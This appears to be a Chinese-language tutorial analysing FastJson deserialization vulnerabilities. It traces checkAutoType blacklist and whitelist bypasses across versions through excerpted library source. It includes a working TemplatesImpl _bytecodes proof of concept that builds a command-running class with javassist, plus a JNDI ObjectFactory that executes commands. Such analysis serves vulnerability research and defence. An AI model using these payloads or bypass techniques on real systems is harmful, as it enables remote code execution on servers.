JAVA反序列化 - FastJson组件

package com.fastjson;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.serializer.SerializerFeature;public class Main {    public static void main(String[] args) {        //创建一个用于实验的user类
       User user1 = new User();
       user1.setName("lala");
       user1.setAge(11);        //序列化
       String serializedStr = JSON.toJSONString(user1);
       System.out.println("serializedStr="+serializedStr);        //通过parse方法进行反序列化，返回的是一个JSONObject
       Object obj1 = JSON.parse(serializedStr);
       System.out.println("parse反序列化对象名称:"+obj1.getClass().getName());
       System.out.println("parse反序列化："+obj1);        //通过parseObject,不指定类，返回的是一个JSONObject
       Object obj2 = JSON.parseObject(serializedStr);
       System.out.println("parseObject反序列化对象名称:"+obj2.getClass().getName());
       System.out.println("parseObject反序列化:"+obj2);        //通过parseObject,指定类后返回的是一个相应的类对象
       Object obj3 = JSON.parseObject(serializedStr,User.class);
       System.out.println("parseObject反序列化对象名称:"+obj3.getClass().getName());
       System.out.println("parseObject反序列化:"+obj3);
   }
}

package com.fastjson;import com.alibaba.fastjson.JSON;import java.io.IOException;public class FastJsonTest {    public String name;    public String age;    public FastJsonTest() throws IOException {
   }    public void setName(String test) {
       System.out.println("name setter called");        this.name = test;
   }    public String getName() {
       System.out.println("name getter called");        return this.name;
   }    public String getAge(){
       System.out.println("age getter called");        return this.age;
   }    public static void main(String[] args) {
       Object obj = JSON.parse("{"@type":"com.fastjson.FastJsonTest","name":"thisisname", "age":"thisisage"}");
       System.out.println(obj);

       Object obj2 = JSON.parseObject("{"@type":"com.fastjson.FastJsonTest","name":"thisisname", "age":"thisisage"}");
       System.out.println(obj2);

       Object obj3 = JSON.parseObject("{"@type":"com.fastjson.FastJsonTest","name":"thisisname", "age":"thisisage"}",FastJsonTest.class);
       System.out.println(obj3);
   }
}

package com.fastjson;import java.util.Properties;public class Person {    //属性
   public String name;    private String full_name;    private int age;    private Boolean sex;    private Properties prop;    //构造函数
   public Person(){
       System.out.println("Person构造函数");
   }    //set
   public void setAge(int age){
       System.out.println("setAge()");        this.age = age;
   }    //get 返回Boolean
   public Boolean getSex(){
       System.out.println("getSex()");        return this.sex;
   }    //get 返回ProPerties
   public Properties getProp(){
       System.out.println("getProp()");        return this.prop;
   }    //在输出时会自动调用的对象ToString函数
   public String toString() {
       String s = "[Person Object] name=" + this.name + " full_name=" + this.full_name  + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex;        return s;
   }
}

import java.io.IOException;import java.util.Hashtable;import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;public class ExecTest implements ObjectFactory {    public ExecTest() {
   }    public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) {
       exec("xterm");        return null;
   }    public static String exec(String var0) {        try {
           Runtime.getRuntime().exec("calc.exe");
       } catch (IOException var2) {
           var2.printStackTrace();
       }        return "";
   }    public static void main(String[] var0) {
       exec("123");
   }
}

public class jdk7u21_mine {    //最终执行payload的类的原始模型
   //ps.要payload在static模块中执行的话，原始模型需要用static方式。
   public static class lala{

   }    //返回一个在实例化过程中执行任意代码的恶意类的byte码
   //如果对于这部分生成原理不清楚，参考以前的文章
   public static byte[] getevilbyte() throws Exception {
       ClassPool pool = ClassPool.getDefault();
       CtClass cc = pool.get(lala.class.getName());        //要执行的最终命令
       String cmd = "java.lang.Runtime.getRuntime().exec("calc");";        //之前说的静态初始化块和构造方法均可，这边用静态方法
       cc.makeClassInitializer().insertBefore(cmd);//        CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//        cons.setBody("{"+cmd+"}");//        cc.addConstructor(cons);
       //设置不重复的类名
       String randomClassName = "LaLa"+System.nanoTime();
       cc.setName(randomClassName);        //设置满足条件的父类
       cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));        //获取字节码
       byte[] lalaByteCodes = cc.toBytecode();        return lalaByteCodes;
   }    //生成payload，触发payload
   public static void  poc() throws Exception {        //生成攻击payload
       byte[] evilCode = getevilbyte();//生成恶意类的字节码
       String evilCode_base64 = Base64.encodeBase64String(evilCode);//使用base64封装
       final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
       String text1 = "{"+                ""@type":"" + NASTY_CLASS +"","+                ""_bytecodes":[""+evilCode_base64+""],"+                "'_name':'a.b',"+                "'_tfactory':{ },"+                "'_outputProperties':{ }"+                "}n";        //此处删除了一些我觉得没有用的参数（第二个_name，_version，allowedProtocols），并没有发现有什么影响
       System.out.println(text1);        //服务端触发payload
       ParserConfig config = new ParserConfig();
       Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
   }    //main函数调用以下poc而已
   public static void main(String args[]){        try {
           poc();
       } catch (Exception e) {
           e.printStackTrace();
       }
   }
}

//type=class [B byte数组//fieldName = _bytecodespublic void parseArray(Type type, Collection array, Object fieldName) {
...//这边就是在根据type类型进行不同的处理} else {//byte数组进入此处
                       val = deserializer.deserialze(this, type, i);//在这句进行解析
                   }
                   array.add(val);
                   checkListResolve(array);
               }                if (lexer.token() == JSONToken.COMMA) {
                   lexer.nextToken(deserializer.getFastMatchToken());                    continue;
               }
           }
       } finally {            this.setContext(context);
       }

public FieldDeserializer smartMatch(String key) {        if (key == null) {            return null;
       }

       FieldDeserializer fieldDeserializer = getFieldDeserializer(key);        if (fieldDeserializer == null) {            boolean startsWithIs = key.startsWith("is");
           ...                //以下省略了对于is开头的字段的一些判断逻辑。
               //好像满足了一定条件，会去跟对应的符合getter，settger的方法名匹配。
               //好像又回到is方法可以调用不了，但是真的脑壳疼，漏洞关键也不在于此，就不纠结了。
           }
       }        //遍历我们输入的key的每一个字符，匹配第一个-或_替换为空
       if (fieldDeserializer == null) {            boolean snakeOrkebab = false;
           String key2 = null;            for (int i = 0; i < key.length(); ++i) {                char ch = key.charAt(i);                if (ch == '_') {
                   snakeOrkebab = true;
                   key2 = key.replaceAll("_", "");                    break;
               } else if (ch == '-') {
                   snakeOrkebab = true;
                   key2 = key.replaceAll("-", "");                    break;
               }
           }         //接下来根据替换后的key2，去寻找对应符合getter，setter的方法名进行匹配。

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {        if (typeName == null) {            return null;
       }        final String className = typeName.replace('$', '.');        //一些固定类型的判断，此处不会对clazz进行赋值，此处省略

       if (!autoTypeSupport) {            //进行黑名单匹配，匹配中，直接报错退出
           for (int i = 0; i < denyList.length; ++i) {
               String deny = denyList[i];                if (className.startsWith(deny)) {                    throw new JSONException("autoType is not support. " + typeName);
               }
           }            //对白名单，进行匹配；如果匹配中，调用loadClass加载，赋值clazz直接返回
           for (int i = 0; i < acceptList.length; ++i) {
               String accept = acceptList[i];                if (className.startsWith(accept)) {
                   clazz = TypeUtils.loadClass(typeName, defaultClassLoader);                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                   }                    return clazz;
               }
           }
       }        //此处省略了当clazz不为null时的处理情况，与expectClass有关
       //但是我们这里输入固定是null，不执行此处代码

       //可以发现如果上面没有触发黑名单，返回，也没有触发白名单匹配中的话，就会在此处被拦截报错返回。
       if (!autoTypeSupport) {            throw new JSONException("autoType is not support. " + typeName);
       }        //执行不到此处
       return clazz;
}

   public Class<?> checkAutoType(String typeName, Class<?> expectClass) {        if (typeName == null) {            return null;
       }        final String className = typeName.replace('$', '.');        if (autoTypeSupport || expectClass != null) {            //先进行白名单匹配，如果匹配成功则直接返回。可见所谓的关闭白名单机制是不只限于白名单
           for (int i = 0; i < acceptList.length; ++i) {
               String accept = acceptList[i];                if (className.startsWith(accept)) {                    return TypeUtils.loadClass(typeName, defaultClassLoader);
               }
           }           //同样进行黑名单匹配，如果匹配成功，则报错推出。
           //需要注意这百年所谓的匹配都是startsWith开头匹配
           for (int i = 0; i < denyList.length; ++i) {
               String deny = denyList[i];                if (className.startsWith(deny)) {                    throw new JSONException("autoType is not support. " + typeName);
               }
           }
       }        //一些固定类型的判断，不会对clazz进行赋值，此处省略

       //不匹配白名单中也不匹配黑名单的，进入此处，进行class加载
       if (autoTypeSupport || expectClass != null) {
           clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
       }        //对于加载的类进行危险性判断，判断加载的clazz是否继承自Classloader与DataSource
       if (clazz != null) {            if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                   || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                   ) {                throw new JSONException("autoType is not support. " + typeName);
           }            if (expectClass != null) {                if (expectClass.isAssignableFrom(clazz)) {                    return clazz;
               } else {                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
               }
           }
       }        //返回加载的class
       return clazz;
}

public static Class<?> loadClass(String className, ClassLoader classLoader) {        if (className == null || className.length() == 0) {            return null;
       }

       Class<?> clazz = mappings.get(className);        if (clazz != null) {            return clazz;
       }        //特殊处理1！
       if (className.charAt(0) == '[') {
           Class<?> componentType = loadClass(className.substring(1), classLoader);            return Array.newInstance(componentType, 0).getClass();
       }        //特殊处理2！
       if (className.startsWith("L") && className.endsWith(";")) {
           String newClassName = className.substring(1, className.length() - 1);            return loadClass(newClassName, classLoader);
       }
   ...

       // hash算法常量
       final long BASIC = 0xcbf29ce484222325L;        final long PRIME = 0x100000001b3L;        // 对传入类名的第一位和最后一位做了hash，如果是L开头，;结尾，删去开头结尾
       // 可以发现这边只进行了一次删除
       if ((((BASIC
               ^ className.charAt(0))
               * PRIME)
               ^ className.charAt(className.length() - 1))
               * PRIME == 0x9198507b5af98f0L)
       {
           className = className.substring(1, className.length() - 1);
       }        // 计算处理后的类名的前三个字符的hash
       final long h3 = (((((BASIC ^ className.charAt(0))
               * PRIME)
               ^ className.charAt(1))
               * PRIME)
               ^ className.charAt(2))
               * PRIME;        if (autoTypeSupport || expectClass != null) {            long hash = h3;            //基于前三个字符的hash结果继续进行hash运算
           //这边一位一位运算比较其实就相当于之前的startswith，开头匹配
           for (int i = 3; i < className.length(); ++i) {
               hash ^= className.charAt(i);
               hash *= PRIME;                //将运算结果跟白名单做比对
               if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                   clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);                    if (clazz != null) {                        return clazz;
                   }
               }                //将运算结果跟黑名单做比对
               if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {                    throw new JSONException("autoType is not support. " + typeName);
               }
           }
       }        //之后就是一样的处理，根据类名加载类

           //hash计算基础参数
           long BASIC = -3750763034362895579L;            long PRIME = 1099511628211L;            //L开头，；结尾
           if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {                //LL开头
               if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {                    //直接爆出异常
                   throw new JSONException("autoType is not support. " + typeName);
               }

               className = className.substring(1, className.length() - 1);
           }

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {        //1.typeName为null的情况，略

       //2.typeName太长或太短的情况，略

       //3.替换typeName中$为.，略

       //4.使用hash的方式去判断[开头，或L开头;结尾，直接报错
       //这里经过几版的修改，有点不一样了，但是绕不过，也略

       //5.autoTypeSupport为true(白名单关闭)的情况下，返回符合白名单的，报错符合黑名单的
       //(这里可以发现，白名单关闭的配置情况下，必须先过黑名单，但是留下了一线生机)
       if (autoTypeSupport || expectClass != null) {            long hash = h3;            for (int i = 3; i < className.length(); ++i) {
               hash ^= className.charAt(i);
               hash *= PRIME;                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                   clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);                    if (clazz != null) {                        return clazz;
                   }
               }                //要求满足黑名单并且从一个Mapping中找不到这个类才会报错，这个Mapping就是我们的关键
               if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {                    throw new JSONException("autoType is not support. " + typeName);
               }
           }
       }        //6.从一个Mapping中获取这个类名的类，我们之后看
       if (clazz == null) {
           clazz = TypeUtils.getClassFromMapping(typeName);
       }        //7.从反序列化器中获取这个类名的类，我们也之后看
       if (clazz == null) {
           clazz = deserializers.findClass(typeName);
       }        //8.如果在6，7中找到了clazz，这里直接return出去，不继续了
       if (clazz != null) {            if (expectClass != null
                   && clazz != java.util.HashMap.class
                   && !expectClass.isAssignableFrom(clazz)) {                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
           }           //无论是默认白名单开启还是手动白名单关闭的情况，我们都要从这个return clazz中出去
           return clazz;
       }        // 9. 针对默认白名单开启情况的处理，这里
       if (!autoTypeSupport) {            long hash = h3;            for (int i = 3; i < className.length(); ++i) {                char c = className.charAt(i);
               hash ^= c;
               hash *= PRIME;                //碰到黑名单就死
               if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {                    throw new JSONException("autoType is not support. " + typeName);
               }                //满足白名单可以活，但是白名单默认是空的
               if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {                    if (clazz == null) {
                       clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                   }                    //针对expectCLass的特殊处理，没有expectCLass，不管
                   if (expectClass != null && expectClass.isAssignableFrom(clazz)) {                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                   }                    return clazz;
               }
           }
       }        //通过以上全部检查，就可以从这里读取clazz
       if (clazz == null) {
           clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
       }        //这里对一些特殊的class进行处理，不重要

      //特性判断等

       return clazz;
   }

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {        //判断className是否为空，是的话直接返回null
        if(className == null || className.length() == 0){            return null;
       }         //判断className是否已经存在于mappings中
       Class<?> clazz = mappings.get(className);        if(clazz != null){            //是的话，直接返回
           return clazz;
       }         //判断className是否是[开头，1.2.44中针对限制的东西就是这个
       if(className.charAt(0) == '['){
           Class<?> componentType = loadClass(className.substring(1), classLoader);            return Array.newInstance(componentType, 0).getClass();
       }         //判断className是否L开头;结尾，1.2.42，43中针对限制的就是这里，但都是在外面限制的，里面的东西没变
       if(className.startsWith("L") && className.endsWith(";")){
           String newClassName = className.substring(1, className.length() - 1);            return loadClass(newClassName, classLoader);
       }         //1. 我们需要关注的mappings在这里有
       try{            //输入的classLoader不为空时
           if(classLoader != null){                //调用加载器去加载我们给的className
               clazz = classLoader.loadClass(className);                //！！如果cache为true！！
               if (cache) {                    //往我们关注的mappings中写入这个className
                   mappings.put(className, clazz);
               }                return clazz;//返回加载出来的类
           }
       } catch(Throwable e){
           e.printStackTrace();            // skip
       }         //2. 在这里也有，但是好像这里有关线程，比较严格。
       try{
           ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();            if(contextClassLoader != null && contextClassLoader != classLoader){
               clazz = contextClassLoader.loadClass(className);                //同样需要输入的cache为true，才有可能修改
               if (cache) {
                   mappings.put(className, clazz);
               }                return clazz;
           }
       } catch(Throwable e){            // skip
       }         //3. 这里也有，限制很松
       try{            //加载类
           clazz = Class.forName(className);            //直接放入mappings中
           mappings.put(className, clazz);            return clazz;
       } catch(Throwable e){            // skip
       }        return clazz;
   }

   public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
       JSONLexer lexer = parser.lexer;        //4. clazz类型等于InetSocketAddress.class的处理。
       //我们需要的clazz必须为Class.class，不进入
       if (clazz == InetSocketAddress.class) {
           ...
       }

       Object objVal;        //3. 下面这段赋值objVal这个值
       //此处这个大的if对于parser.resolveStatus这个值进行了判断，我们在稍后进行分析这个是啥意思
       if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {            //当parser.resolveStatus的值为    TypeNameRedirect
           parser.resolveStatus = DefaultJSONParser.NONE;
           parser.accept(JSONToken.COMMA);            //lexer为json串的下一处解析点的相关数据
            //如果下一处的类型为string
           if (lexer.token() == JSONToken.LITERAL_STRING) {                //判断解析的下一处的值是否为val，如果不是val，报错退出
               if (!"val".equals(lexer.stringVal())) {                    throw new JSONException("syntax error");
               }                //移动lexer到下一个解析点
               //举例："val":(移动到此处->)"xxx"
               lexer.nextToken();
           } else {                throw new JSONException("syntax error");
           }

           parser.accept(JSONToken.COLON);            //此处获取下一个解析点的值"xxx"赋值到objVal
           objVal = parser.parse();

           parser.accept(JSONToken.RBRACE);
       } else {            //当parser.resolveStatus的值不为TypeNameRedirect
           //直接解析下一个解析点到objVal
           objVal = parser.parse();
       }

       String strVal;        //2. 可以看到strVal是由objVal赋值，继续往上看
       if (objVal == null) {
           strVal = null;
       } else if (objVal instanceof String) {
           strVal = (String) objVal;
       } else {            //不必进入的分支
       }        if (strVal == null || strVal.length() == 0) {            return null;
       }        //省略诸多对于clazz类型判定的不同分支。

       //1. 可以得知，我们的clazz必须为Class.class类型
       if (clazz == Class.class) {            //我们由这里进来的loadCLass
           //strVal是我们想要可控的一个关键的值，我们需要它是一个恶意类名。往上看看能不能得到一个恶意类名。
           return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
       }